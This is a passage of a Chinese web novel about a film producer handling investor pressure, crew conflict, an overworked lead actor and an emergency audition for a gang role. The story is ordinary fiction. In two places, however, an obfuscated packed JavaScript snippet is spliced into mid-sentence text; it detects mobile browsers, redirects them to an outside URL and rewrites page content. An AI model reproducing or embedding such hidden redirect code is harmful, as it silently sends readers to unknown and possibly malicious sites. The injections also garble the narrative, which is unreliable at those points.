她走出化妆区时，步子不自觉加快了几分。沈宴的拼劲固然可贵，可身为制片人，她不能只看结果。一个过载的男主，带来的可能不是惊喜，而是一场连锁失控。 他演得越好，她反而越不能放松警惕。 3 上午十点整，程今回到制片办公室，连咖啡都没顾上续杯，便接通了与临川基金的远程电话会议。 “程制片，听说你们临时扩建了巷道，预算有些超出原计划？”罗凯那头语气一如既往地礼貌，不紧不慢，却带着清晰的探询意味。 程今翻开桌上的报表，语气沉稳：“是有追加，但控制在可承受范围内。我们希望中段能拍出实质性的市场亮点，为项目增加票房卖点。” “嗯，赵总表示理解。”罗凯顿了顿，话锋一转，“不过也想请问，你们打算如何加快进程？按照目前的拍摄节奏，可能要牺牲一部分后期宣发的预算。” 话说得婉转，却无异于一记下马威。 程今抬手切换电脑画面，打开重新排布的拍摄进度表，逐项陈述：“这几天我们会集中完成对白戏和部分群演场面，先推进节奏、压缩工期。大场面留待资金流更稳定之后进行。” “我们不会无底洞式地往下烧预算。”她语气冷静如常，却透出一股不容置疑的强硬。 对方沉默片刻，才回道：“好，我会把你的安排反馈上去。但赵总那边的态度也很明确，如果一周内看不到实际成果，基金方可能会考虑介入更多层面。” 话音刚落，电话那头隐约传来一段低语，像是有人凑近耳边提醒。程今听不真切，只捕捉到几个字眼：“……加强关注……避免失控。” 她握着电话的手指微微一紧，面色未动。 通话结束后，她靠回椅背，闭了闭眼，缓缓吐出一口气。 所谓“更多干预”，程今再清楚不过：如果剧组再出一丝差错，赵敏不仅会在财务上插手，甚至可能借机干预创作决策，试图收回部分主控权。更严重时，他们可能会建议更换核心人员。 4 就在程今揉着太阳穴时，门外传来一阵轻敲。 “程制片，我能进来吗？” 是编剧小井。她抱着几份剧本修订稿，神情迟疑又略显局促。 “导演让我改一些卧底线的心理独白，把对峙戏写得更……商业一点。但我觉得，我们本来可以走得更写实。”她轻声道。 程今抬起头，示意她进来坐下。对于小井的热忱，她早有耳闻，这个年轻编剧从项目伊始就坚持挖掘人物的真实心理，不止一次与导演产生分歧。 “你是担心情节被改得太表面？”程今语气平和。 小井点点头，眼圈微红：“是。沈老师对角色的心理研究做得很细，我们原本想在写实之外，加一点思辨和隐喻。但现在为了迎合所谓爆点，很多沉得下去的内容都被砍了，变成了堆情绪的对话。” 程今低头翻着她递来的修改稿，果然不少内心独白被删得七零八落，替换成节奏更快、情绪更外放的冲突段落。 “导演可能是担心情绪压得太沉，观众容易出戏。”她斟酌着开口，“现实是，片子要上映，观众要买票，票房是项目续命的基本盘。” “我明白。”小井轻咬下唇，“可我真的不想把沈老师的那些努力浪费了。我们聊过很多次，怎么展现这个人压抑、分裂、挣扎，这些才是角色的灵魂。” 程今看着她眼里的不甘与认真，轻轻叹了口气。 她太明白这种拉扯。商业项目里，最先被牺牲的往往是“深度”两个字。但如果连一个年轻编剧都不再坚持，那这部戏就真的只剩套路了。 “整合稿给我，我来和导演谈。”她语气坚定，“核心段落尽量保留，但要嵌进节奏合适的场景。沉静的东西不是不能拍，只是我们要找对打开方式。” 小井有些激动地点头：“谢谢你，程制片。真的谢谢你。” “别急。”程今微笑，“剧本是协作的艺术，导演不是只会搞热血场面，他也在找平衡。多沟通，一起磨合。” 小井抹了抹眼角的湿气，眼神清亮起来：“我再试试。” 程今看着她的背影消失在门口，重新拿起修改稿，心里却更沉了一分，不是每一个理想都能落地，但她必须尽力守住那些还愿意写真话的人。 5 当天下午，一场本该轻松拿下的街景群演戏，却一再卡壳。 导演沙哑着嗓子喊“开始”，几十名群演在巷道间扮演市井路人，沈宴身着便服，从街头穿行至街尾，角色设定是身陷险境的卧底，需借助摊贩混乱制造转移点。第一条刚拍一半，一名群演与人擦肩不慎碰撞，竟当场爆粗，吵得不可开交，骂声甚至盖过了收音。 “卡！”导演暴躁地一喊，整条巷子陷入低气压。 群演互相指责，场面一度失控。场务上前劝阻，却也显得手忙脚乱。老周皱着眉：“都睁大点眼睛行不行？巷子这么窄，还敢乱挤？！” 副导演段林在旁低声咕哝：“连轴拍这么多天了，谁都绷着。群演又拿得少、站得久，早憋着一肚子火。” 程今站在一旁，眼神沉静却拧着眉。空气像是过度使用的器械，随时会报废。她没说话，只朝制片助理刘倩点了下头：“联系餐饮那边，今晚提前送夜宵，加份补贴单，带话过去，说是我批的。” 刘倩立刻明白，转身而去。她知道现在不是讲理的时刻，人已经快被拖干，必须先稳住情绪。 而另一边，沈宴站在镜头外，眼见这场闹剧一度失控，神色不动，却挡不住眉宇间的倦意。他几次想上前，却最终忍住。演戏是他的职责，剧组协调不是他能干涉的部分。 导演搓了把脸，再次回到监视器前，喉咙沙哑地吩咐：“从第二段开始重走，再出事，换人。” 光线渐暗，风吹得布景纸片簌簌作响。 程今低头看了眼剧本边角被汗水打湿的痕迹，手指轻扣着文件夹，没说话。她知道，剧组正陷入疲态临界点，所有小问题都会被放大成隐患。而她，必须让它别崩溃。 6 群演戏总算在深夜十一点多勉强收工，巷景中依旧残留着烟火和道具残片，空气中混着汗味与泥尘，疲惫氤氲四散。 工作人员低声交谈着，有人收拾电缆，有人拖着步子去还服装道具。程今默默巡视一圈，确认安全后，又留在巷道尽头与副导演段林核对第二天的拍摄流程。 “明天衔接那场动作戏很关键，必须和今晚的场景镜头连贯起来。”她边翻资料边记笔记，声音一如既往地克制沉稳。 段林一边看手机一边点头，语气却有些敷衍：“知道了……但你能保证顺利吗？你看看最近这几天，哪件事是顺的？” 这话说得不轻不重，带着毫不掩饰的怨气。程今神色微敛，没接茬，语气更冷静了一分：“我们先把能控的部分排好，真出问题，再逐条查。” 说完，她合上资料准备转身，却听见身后段林低声嘀咕：“又不是你在前线熬夜，你坐办公室指一指就完了……” 她脚步一顿，眉心紧了一下，却终究没有回头，只是径直朝道具区走去。 她不是没听见，也不是听不懂，但现在不是计较情绪的时候。 自从揪出财务内鬼后，剧组表面恢复秩序，可在这高压的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359148|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强度下，内部的疲惫与不满正在一点点滋生。她明白，有人开始积怨，也开始把矛头偷偷对准她这个“总负责”。 7 夜色更沉，片场逐渐清空，只剩老周带着几名场务在收拾清扫。远处，一辆辆设备车缓缓驶离，发出低沉的引擎声。 程今刚走到办公区门口，余光一瞥，却看见走廊尽头昏黄灯下，沈宴独自坐在长椅上，身子靠着墙，手里还翻着一沓厚厚的卧底资料。 “你还没走？”她脚步一顿，眉头微皱。 沈宴抬起头，眼里布满血丝，却仍强撑着清醒，“想再看点这些案子……我总觉得，可能还能挖出点角色的新东西。” 程今走近两步，伸手按住那份资料，一字一顿：“你现在的状态，真的该先睡一觉。” 他垂下眼帘，指节握紧那页纸，低声道：“睡不着。脑子一直在转……停不下来。” 她心里一紧。那不是单纯的敬业，而是彻底沉溺进角色的前兆。她见过太多演员在高压中模糊戏里戏外，最后失控崩溃的例子。 “导演后天要拍你和反派的第一场正面对峙，”她语气缓了些，却不松口，“你到时候要是真倒了，谁都救不回来。” 沈宴嘴角动了动，像是想反驳，但最终只是低声说：“我知道，我会调节。只是今晚……真的停不下来。” 程今沉默几秒，没再劝，只是把一瓶水递给他，“那至少别再熬一整夜，回去睡三个小时也好。” 沈宴接过水，指腹摩挲着瓶身，眼底闪过一丝复杂情绪，声音低得几乎听不清：“……好。” 灯光斜落在他身上，拉出一道淡淡的影子。她看着他疲惫却执拗的模样，忽然觉得，他也和这个剧组一样，已经开始透支了。 8 正当程今准备送沈宴出门，手机忽然震动。她扫了一眼来电，接通后压低声音：“唐夕？” 电话那头是唐夕略显谨慎的语气：“程制片，有家主流影视媒体联系我，说想来探班，顺便做一期剧组专访，提前放个版面帮我们铺宣传。” 程今原本有些倦意的神色瞬间绷紧：“他们突然找上门，谁在背后放的风？” “这就不清楚了，”唐夕顿了顿，话锋一转，“但他们似乎收到小道消息，说我们剧组现场混乱、人心浮动，有些人想看热闹，有些人……想踩一脚。” 程今顿了顿，脑中闪过今日群演争执、段林情绪不稳，还有早上的预算电话，这些事哪一桩被拍下来都能成“爆点”。 “此时让媒体进来，不是自曝其短？”她低声反问。 唐夕却说：“不一定。要是能把现场包装得井然有序，再配上几场拍摄画面，其实反而能压住质疑声。关键是，我们得掌控好节奏和引导内容。” 程今沉默几秒，抬头看向窗外巷景还未拆完的布景，叹了一口气：“两天。让他们等两天，我先把巷战部分拍完，再集中调度场务清整一遍。我们得挑一个最能看的状态。” “行，我先压住他们，争取多留点余地。”唐夕顿了顿，又道，“不过你要快点，外界质疑声这几天已经开始有扩散迹象了。” “我知道了。”程今挂了电话，手机随手搁在文件堆里。 她回过头，对身旁静静等候的沈宴露出一个无奈的笑：“都快成危机公关公司了。” 沈宴握着纸杯，杯壁已经被他手心的温度捂得微凉。他沉默了下，语气低缓却认真：“如果需要我配合……采访也好、宣传短片也行，你说一声就好。” 她看了他一眼，轻声道：“你已经做得够多了。” 他没接话，只是静静站着，仿佛那句话不只是出于礼貌，而是真正打算站到她身后，陪她一起扛住风暴。 9 挂断电话，程今看了眼时间——凌晨三点。 疲惫从脊背缓缓爬上肩颈，她靠在墙边闭了闭眼，脚步像灌了铅。楼道昏暗，只剩一盏保安巡逻灯在地面投出模糊光晕。 沈宴走在她身侧，步子刻意放轻，仿佛不想打扰这片刻沉静。 两人并肩走到片场门口，外头雾气氤氲，街灯昏黄，空气里带着未散的灯光余温和一点夜露的凉。 程今停住脚，抬眼看他，声音低哑：“你先回去，好好休息。” 他应了声“嗯”，喉结轻滚，似乎有话要说，却终究只是朝她点了点头，转身上了保姆车。 车灯亮起，照亮她半张侧脸，又很快远去。 程今一个人站在门口，仰头望天，夜色沉沉，云层翻涌，星光暗淡如尘。 她深吸一口气，掏出手机，拨通制片助理刘倩电话。 “把最新财务数据和进度表做成报告，明天早上给我。” “还有，通知导演，巷战主体拍完后，优先安排室内戏，别再连夜赶工。” 刘倩那头应得迟疑，她却没有重复，只道了句：“明白。” 指令一条条落下，才像给自己也钉住了一根钉子。 程今收起手机，终于迈步离开。 这个夜晚，没有人真正安眠。 10. 第 10 章 清晨，导演杨学宁一进片场就甩下一句惊雷：“前天才定下的帮派骨干演员，临时退出了。档期撞了，说是跟别的剧组签了约。” 他语气里掩不住恼火，重重把一份解约合同拍在桌上：“你看看，就要拍他跟沈宴的核心对手戏，这时候人没了。必须尽快补位。” 程今接过合同，眉头微蹙。她没急着回应，而是盯着合同落款的签字笔迹片刻，指尖略微收紧。所谓“档期冲突”，在这个时点上显得太过巧合。她隐隐觉得，对家影业或某些幕后势力，很可能已伸出手来，试图在最后阶段搅乱水面。 “我知道了。”她开口，语气依旧平稳，却带着一丝不容置疑的锋利，“我会让制片助理今天就发试镜邀约，尽量两天内补上人选。先稳住拍摄日程。” 导演看她神色未变，也收敛了些怒火，长叹一口气：“辛苦你了。但……这节骨眼别再出乱子，否则我们一边拍一边漏人，观众还没进场，就先被对家抢了热度。” 程今点头，没说话。她知道，真正的博弈早就不止在片场上了。 . 午后两点，剧组制片助理刘倩迅速放出消息：《暗潮》某核心角色因特殊原因临时空缺，现面向圈内紧急试镜，寻找一位能与沈宴对戏不落下风的“帮派骨干”。 消息一出，圈内掀起小范围震动。 不少二三线男演员纷纷私下递资料、找关系，能在警匪题材中与沈宴演对手戏，哪怕只是配角，也足够成为下一个话题引爆点。更何况《暗潮》的幕后主创已经积累了不俗关注度，谁都知道这可能是一次逆转命运的机会。 也有几位演员出于对程今或杨学宁的信任，甘愿“无条件支援”试镜，只求搏一个露脸机会。 次日上午，小会议室被清出一块空地，暂时改作试镜场。窗帘拉起，灯光压低，摄影师、导演与程今各就各位。十来位风格迥异的男演员陆续进场。有眉眼老辣、演过无数反派的“黄金绿叶”，也有身形挺拔、自带偶像滤镜的新人，还有人身后带着经纪人和宣传，话未开口，气场先起波澜。 “我不会给他们太多准备时间。”导演低声对程今说，脸上已显疲惫，却仍不容松懈，“让沈宴直接跟他们对几场试戏，一开口就知道谁能顶上。” 程今轻轻点头：“行。但现场秩序必须控好。你那边抓进度，我来压节奏。” 她当即转头吩咐刘倩：“控好外场，绝不能让记者混进来。告诉媒体，这是内部封闭试镜，未经授权发布者将追责。现在是项目最敏感的时候，任何舆情都不能再乱。” 刘倩立刻领命而去，而一场紧急排兵布阵般的试镜，就在布景工位与沙发旁拼出的简陋场地中悄然开场。 程今坐在灯光最阴影的一角，翻着试镜资料，目光在进场演员间来回审视，她比谁都清楚，此刻挑的不是“演员”，而是一颗能否扛下风险的临时子弹。 . 试镜开始前，沈宴原本想在休息室闭目养神，调整一下昨夜拍摄后的疲态。可导演却快步走来，拎着剧本就将他从沙发边带走：“走，试镜我得靠你配戏，别光看资料，得真演几句才知道谁顶得住。” 沈宴没说什么，只是顺手拿了剧本起身。他刚迈步，程今已经迎面走来，神情微皱，挡住他的去路。 “你行吗？”她低声问，眼神扫过他略显苍白的面色和泛红的眼角，“你昨天拍完夜戏，都快三点了。” 沈宴抬眸看她一眼，语气轻淡却笃定：“试镜不算大动作。比起拍正片，这种强度还算轻。” 他说得随意，像是毫不在意。但她却看见了他眼底尚未退去的血丝，还有那掩不住的疲惫，裹在沉静笑容背后，像一种习惯性的固执。 她知道他并不是强撑，而是把这件事看得很重。 “那好，”她稍稍后退半步，语气一松，“但要是中途撑不住，就说。副导演在旁边，随时能顶。” 沈宴点头，什么也没说，转身走进试镜室。 会议室里布置得简单，白板推到角落，几张椅子拼成一道临时评委席。导演、程今、编剧小井、副导演段林坐在桌后，面前摊着演员资料和试镜台本。沈宴在一旁靠墙坐下，面前一张矮桌放着几份台词段落，他低头翻着，指尖顺着纸页滑过，表情专注而安静。 门口传来敲门声，第一位试镜演员已准备就绪。 程今轻轻呼了口气，看向沈宴那略带疲态却挺直的背影，他已经切换进了状态，眼神沉下去的那一刻，彷佛又变回了那个深藏不露、时刻戒备的卧底角色。 . 第一位进来的是一位年过三十的硬派演员，演技扎实，是圈内有口碑的黄金配角。曾在不少警匪剧中出演干练探员，一看就是“安全牌”选手。 他见到沈宴后很快进入状态，先礼貌寒暄两句，接着与沈宴照着台词对词。他的节奏利落，台词干脆，但整体表现像是一张磨得太平的刀——不锋利，也不失误。 沈宴本能地调高了对峙情绪，想逼出更多反应，但对方始终沉稳克制，仿佛无论剧情怎么推，都只能演出“完成任务”的分。 导演眉头微蹙，低声对程今道：“稳是稳，但没火花。跟沈宴交手，得有人能撑起对抗张力。” 程今边听边记：“演技成熟，但气场压不住主角。” 第二位一进来，便带着一股不同气场。是个在热播偶像剧里积累不少人气的流量明星，身材挺拔，妆容考究，进门那刻还有随行经纪人在场外低声交代着什么。 可他一张口就暴露短板，台词断续、语调浮滑，试图模仿帮派成员的狠厉，却浑身都透着不适配。沈宴几次放慢节奏、试图带他入戏，甚至轻声提醒台词节奏，但对方还是对不起来情绪。 几句对话没走完，导演已经不再做记录，客气地请他离开。 这位流量出门时，助理拉长着脸，低声嘀咕：“还不是剧组早定了人，装什么公平试镜？” 程今听见，微微挑了下眉，没吭声，只在表格旁默默划了一笔。 第三位、第四位、第五位陆续登场。有人外形凶悍却情绪空洞，有人台词功底扎实却面目无神。一个接一个被叫进来、又被礼貌送出，会议室里渐渐安静得让人焦躁。 副导演段林靠在椅背，翻台本时打了个没遮掩的哈欠：“要不这样，回头让导演改改剧本，削弱这个角色得了，省得折腾。” 小井原本在写试镜反馈，听到这话直接回怼：“削谁不能削这个。这条线是沈宴角色转折的关键。” 两人目光一碰，空气瞬间紧了一拍。场务在一旁尴尬地移开视线，连剧本纸页翻动声都显得格外突兀。 程今看着两人间隐约升起的火药味，按下额角，心中也隐隐冒火，但她清楚，现场一乱，整个试镜就会失控。现在不是内讧的时候。 轮到第六位时，场务在外面喊了声：“下一位，柳尧。” 门被缓缓推开。 进来的是个身材修长的年轻男演员，穿着深灰色外套，头发简单束起。五官不是传统意义上的锋利俊朗，但眉眼间有一股倔劲和冷感，让人忍不住多看一眼。他没有过多寒暄，只对在场几人点了点头，落座时动作安静、克制。 导演翻开资料，扫了一眼：“柳尧……之前拍过几部小成本网剧，演过边缘反派，演技还不错，但一直没出圈。” 他话未落，柳尧已经抬起头，看向沈宴，开口道：“可以直接对戏吗？” 他的语气不急不缓，却带着种不容置疑的笃定。 导演眼前一亮，放下资料：“可以。先给你几分钟看看台本。” 柳尧淡淡一笑，神情镇定：“不用了。昨天拿到，就背熟了。” 这一句话让在场的人不自觉地一顿。 程今眼神略动，看了他一眼，这个男孩，不张扬，也没摆架子，却步步透着有备而来。那不是讨好型试镜，而是带着一丝“我本来就该在这”的从容。 她下意识翻了下试镜名单，在柳尧名字旁轻轻圈了一笔。 而此时，沈宴已经翻开台本，对上了柳尧投过来的视线。 两个不同类型的演员，一个沉稳内敛，一个凌厉寡言，气场在无声中碰撞，空气忽地沉了一下。没有动静，没有试戏，却仿佛谁都明白，这一组，或许会是个真正的对手。 沈宴缓缓站起，走到场地中央，把一份简要场景介绍递给柳尧，语气平静：“你是帮派骨干，怀疑我不是真兄弟，想套话。台词在这，自由发挥。” 柳尧扫了台本两眼，没再多言。 下一秒，他的眼神变了。 原本内敛安静的气质仿佛瞬间被抽走，取而代之的是一种压迫感极强的阴郁气场。他迈步逼近，嘴角带着一丝玩味的狠意：“怎么来得这么晚？” 沈宴眸光一暗，神情随之变换，迅速代入角色。他微微低头，姿态似是服从，又在语气中保留了三分倨傲与冷漠：“心烦？那就别等。没人求你。” 话音未落，两人已贴近彼此，空气里像是蓄了电。 柳尧眼神微眯，步步紧逼，低声开口：“你最近行事不对。是不是背着我藏了什么？” 沈宴抽了口气，笑里透寒：“想多了。咱俩都是烂命一条，真有事，我早死在前面了。” 柳尧神色骤然转冷，猛地伸手，拽住沈宴的衣领，一把将他逼到墙边：“少给我兜圈子。再绕一句，我让你现在就死在这儿。” 沈宴抬手稳稳挡住，力道暗藏、却不躲闪。他望着柳尧的眼神没有丝毫退让，像是子弹上膛，随时准备反击。 那一瞬，两人近在咫尺，眼神交锋如刀。 仿佛真有人把他们丢进了阴冷街头，一场关于信任与背叛的试探，正悄无声息地攀上顶点。 导演一动不动，手指紧紧扣在剧本边缘。小井屏住呼吸，连笔都忘了拿。程今不自觉地前倾身体，盯着两人，一句话也说不出来。 这股对峙的张力——远胜前面所有试镜。 最终，柳尧松开手，低低一笑，带着一点仿佛看穿一切的不屑和危险：“行，算你还硬气。” 他退后一步，神情敛回，却比刚才更让人心惊。 片刻沉寂。 导演忽然低声爆了句：“……有了。” 他猛地把台本一拍，脸上是久违的激动，“这才是我要的劲儿！刚刚那一下，太准了，情绪、节奏、临场反应，全都到位。” 程今回神，望向柳尧，目光带着不易察觉的欣赏和赞许。 她心里有个念头缓缓落定—— 这个角色，或许就是他了。 片刻沉寂后，导演忽然一拍手，打破紧绷空气：“好！这个劲儿有了。” 他看向沈宴，“你觉得呢？” 沈宴稍稍后退一步，眼神还带着未散的锋芒。他轻轻吐了口气，慢慢从角色中抽离：“他气场很强，能给我压力。不光是台词，眼神、动作也都走心，状态不错。” 导演听罢立刻露出难得的笑容，像是终于等到了能解围的解药。他一边点头，一边悄悄朝程今使了个眼色：这个可以。 程今会意，没直接表态，但目光明显柔和了几分。柳尧确实不是目前的流量牌，也没背后庞大团队做支撑，可他那种沉稳冷静的劲儿，正是这部戏里所欠缺的一环。更重要的是，他和沈宴之间真的有化学反应，那种对峙里生出的张力，是任何镜头语言都无法强求出来的。 导演收回视线，果断伸出手：“柳尧，干得漂亮。如果档期能配合，我们这几场重头戏希望你来完成。角色份量不轻，但我相信你能扛得住。” 柳尧愣了下，旋即反应过来。他站直身体，回握导演的手，神色诚恳又不乏自信：“能和沈老师、程制片，还有杨导合作，是我梦寐以求的机会。要是能留下，我一定拼尽全力，不让你们失望。” 他这番话说得得体不谦，连副导演段林都点了点头，低声说了句：“还挺沉得住气。” 一旁的程今望着这场试镜即将落幕，心里终于松下一块大石。 至少这一次，她不用再为了空缺对手戏焦头烂额。 而她余光瞥向沈宴，发现他正低头翻着刚刚演的台本，指尖停留在那句“我这条命，早该丢在前面”上，神情沉沉。 她知道，那句台词不是空的。 他是真的把自己拎进了那个角色的世界。 试镜持续到最后一位，皆不及柳尧带来的那场对峙来得震撼。导演已经基本心有所属，现场气氛也渐渐松下来。 然而，就在试镜即将收尾时，外头场务忽然小跑进来：“投资方推荐的流量新人到了，说想争取试镜机会。” 话音未落，门被推开。 新人一身剪裁考究的浅色外套，发型一丝不乱，身后跟着两名妆发助理和经纪人，气场拉满。他扫一眼全场，随手接过台本，一边翻一边笑着开口：“不好意思，拍完通告才赶过来。谢谢各位等我。” 导演和副导演交换了个无奈眼神。 沈宴起身与他对戏，新人却全程磕磕绊绊，台词一会儿念串，一会儿漏句，面对沈宴逼近的气场甚至几次明显闪躲，完全进不了戏。 短短两分钟，对手戏结束。 现场陷入死寂。 导演扶额，甚至没再翻台本。经纪人却先站起来，语气不善：“我们这边可是自带流量，热搜随时上，真的要放弃吗？” 他笑得客气，眼神却透着逼人。 导演没说话，只把目光投向程今，这显然是她来决断的局面。 程今缓缓合上手里的试镜表，神情不急不躁：“流量确实重要，但这场戏是主角命运转折，不是硬凹人设的综艺秀。” 她话锋一转，“我们感谢你们到场。但这个角色需要更强的演技支撑，若后续有适配角色，我会第一时间联系你们。” 经纪人脸色顿时不好看，冷笑了一声：“可别后悔，到时候热度起不来，别怪没提前提醒你。” 说完拂袖而去，助理连忙收拾资料、匆匆追出门。 空气一时间微微凝滞。 副导演段林咕哝了句：“人家可是带资进组的潜力，你真不考虑？” 导演瞥了他一眼，语气讽刺：“演成那样？带再多热度都成嘲点，不如早点止损。” 程今态度一如既往冷静：“先定柳尧。我现在就让法务起草短期合约，明天初审，后天进组。” 编剧小井在旁明显松了口气：“还好还好，要是让那位上，我真不敢想最后那场卧底反杀会变成什么样……” 她话没说完，几人已达成共识，像是终于跨过了这一关。 . 试镜结束，演员们陆续离场。导演去休息区处理合约细节，会议室渐渐安静下来。 程今合上台本，开始整理桌上的资料。她抬眼，却见沈宴还坐在角落，一只手撑着椅背，目光落在地面，不知是在回味刚才那段对峙戏，还是沉浸在某种难以言说的情绪中。 她走过去，声音放得很轻：“感觉怎么样？” 沈宴抬起眼，眼底仍带着未散尽的情绪。“柳尧的压迫感很强，台词切得准，眼神也狠。”他顿了顿，嗓音低哑，“他能把那种兄弟疑云的场景演得很深刻。我得做更多功课，让观众相信……我是那个随时可能被他反制的人。” 他说这句话时，指尖还在不自觉地摩挲台本纸角，像是没完全从角色抽离。 程今看着他身上的沉灰色休闲服，在这昏黄的光线下竟和剧中那层“游走在善恶边缘的卧底”有些重合。那一刻，她竟恍惚分不清他是在说台词，还是在袒露真实的心境。 她垂眸替他拢了拢文件角，对他说：“两天后才开机，你先理一下角色线，也好歇歇。别再熬通宵。我可不想在对手戏时看你晕倒。” 语气像往常一样平稳，带着制片人的理智克制，却藏不住些微的担忧。 沈宴低低应了一声，没有辩解，也没承诺。但他抬头看她时，那一瞬，眼神里柔和得不像戏里那个压着怒火的人。他像是想说什么，却又只是静静看着她，一种未明说的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359149|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢藏在沉默里。 两人对视不过两秒，却像在空气中完成了一场无声的对话。 下一秒，副导演段林推门而入：“沈老师，导演让你过去一趟，商量一下新对手戏的调度。” 脚步声靠近，打断了这片刻安宁。 程今不动声色地收回视线，低头翻开文件，仿佛刚才的静默不过是常规工作间隙。 沈宴起身，从她身旁经过。就在擦肩的一刻，他的手腕轻轻扫过她衣角，带起一阵细微触感。不是故意，却也不完全是无意。 程今指尖顿了顿。 那一下太轻，轻到仿佛风掠过桌面。但也正因如此，更像是一道无法言明的牵引，在心底留下微妙痕迹。 她没有抬头，却能感到那人已走远，而那点悸动，却在心底悄悄泛起涟漪，不大，却久不散去。 . 傍晚时分，柳尧带着经纪团队再度回到片场办公区，会议室的灯光亮着，空气中还留着午后争执未散尽的温度。 导演和程今亲自接待。谈判桌上，柳尧经纪人语速不快，措辞却咄咄逼人：“我们当然愿意配合项目，只是希望签约前，能明确角色的最低出镜比例与关键戏份。柳尧不是流量，但也不想当背景板。” 导演刚想回怼，被程今轻轻按住手腕，她语气平稳：“我们理解艺人的顾虑，但影片本身是结构驱动型剧本，戏份必须服从故事逻辑。我们承诺不会压缩任何表现机会，但不会用承诺数字来限制创作节奏。” 双方拉锯近一小时，才在阶段性脚本回顾与核心戏份保障两个模糊交界处达成一致。 柳尧在临时合意书上签字，站起身时，目光坦然地看向程今：“谢谢程制片的信任，我会珍惜这次机会。” 她也站起，递还一份盖章件：“我更希望，你和沈宴能擦出真正的火花，把这个角色演得有温度、有爆点。” 柳尧点头，随经纪人离开，背影倒比试镜时更显自信。 等门关上，会议室恢复沉寂。程今往后仰倒在椅背上，长长吐出一口气，太阳穴一阵一阵发涨，像是被无形的疲惫包围。角色空缺终于补上，可还是不能松懈。 磨合期、新旧戏份对接、拍摄档期再排，还有堪堪够用的预算，每一项都像堵在路上的关卡。 她抬头望向窗外，天色早已暗下，整个剧组都陷进了夜色里。正打算起身，手机却震了一下。 屏幕上跳出一条陌生短信： 【听说你找了个年轻小子顶替？真好奇他能不能帮你撑起局面。】 号码未储存，口气熟悉，依旧是那种带笑不笑的挑衅意味。 程今手指一顿，下一秒毫不犹豫地将短信删掉。 指尖收紧，心口却泛起一丝寒意，对手的目光，像一张看不见的网，始终在剧组外围游走窥视。 她深吸一口气，按灭屏幕，站起身。 身后是刚落定的桌椅，前方是永远排不完的清单。她把肩膀略略往后一挺，声音低得几不可闻：“没关系，我也挺想看看，你们能做到几时。” . 夜里九点多，片场大部分人已散去，只剩灯架照亮收尾区域，几位场务拖着收线盘在巡查。程今并没急着离开，而是随手拎了杯冷掉的咖啡，独自往巷景区那头走了一圈。 她走到一个拐角处，忽然听见细碎对话声。 昏黄灯光下，沈宴抱着一沓剧本坐在折叠椅上，侧身与编剧小井低声讨论着什么。两人各拿着笔，偶尔在台词本上圈圈画画，不时比划着动作走位，神情格外专注。 “这里你得更谨慎一点，好像你随时可能被识破，”小井语速飞快，满脸投入，“还有这个台词，我觉得应该再收一分，不然前后情绪会断。” “……我明白。”沈宴眉头紧蹙，沉声回应，“但不能太干净收尾，我想保留一点挣扎感。哪怕只有一秒钟，也得让观众看出他在犹豫。” 小井顿了顿，叹气：“程制片那边说这场可能要压缩。我知道她也没办法，商业节奏的确重要……就是心疼你这场戏。” “我不怪她。”沈宴声音低下去，带着点释然，“我只是不想让角色的疼痛，被剪成一句空洞台词。” 这句落地，周围陷入一瞬寂静。 不远处，程今听得清清楚楚。她没出声，只静静站着，看着那两人像一双小小的火苗，在这个被灯光照亮的深夜角落里熬着心血。 她忽然觉得鼻腔发涩，又有点好笑。 这剧组里，大概就是靠这帮“固执得不合时宜”的人，才勉强把一部电影推着往前走。 等小井收拾剧本先行离开，沈宴起身伸展了一下身体，才抬头望见她的身影。 “程制片？”他眼里闪过一丝诧异，“你还没回去？” 她走近几步，站在他面前，语气半真半假地责备：“不是说好让你今晚早点休息？现在几点了，还在这儿和编剧开小组会？” 沈宴神情一顿，轻轻捏了下眉心，嗓音带着疲惫但不抱怨：“小井主动找我聊角色。她怕新调整会削弱某几场情绪强度，我不想拒绝。” 顿了顿，他又补上一句，像是自我检讨：“……是我没守承诺，让你失望了？” 程今抬手，轻轻戳了下他手里还握着的笔：“你再这么拼命，我真要把你夜宵报销权限吊销了。” 他低笑，没争辩，只朝她那杯早凉的咖啡瞥了一眼：“那你也别再喝冷水当晚餐，我看到就上报给财务。” 两人相视片刻，眼神里没有调情的暧昧，倒像是并肩作战后的默契。那是一种，已经不需要语言铺陈的信任。 最终还是程今移开视线，轻咳一声：“好了，别演深情了，赶紧收工。今天回酒店必须早点睡。” “遵命。”沈宴声音低低的，带着一点笑意。他把剧本抱紧了一点，却没有立即走。 程今没回头，只抬手随意一挥，像是赶人：“明天早上七点通告，别怪我没提醒。” 身后，他轻轻“嗯”了一声，脚步声不紧不慢地跟在她后头。 风吹起巷景的帷幕残边，仿佛什么未说出口的情绪，也悄悄在这夜里流动起来。 . 送走沈宴后，程今一个人走在空荡的走廊里，鞋跟踩在瓷砖上，声音清脆又孤独，回响在深夜的办公楼中。 她仰头望了眼天花板上的监控探头，那冰冷的镜头在灯光下泛着淡淡反光，像是无声注视着她的一举一动。她忽然想起前阵子那些“莫名其妙”的监控故障，再想到今天对手戏演员刚刚临时更换，心里泛起一丝说不出的警觉。 演员换角的问题勉强解决，可她知道，随时还会有更大的问题。 剧本在变，投资方紧盯进度，林言的数据团队虎视眈眈，对家影业还在用尽手段围堵舆论和资源。 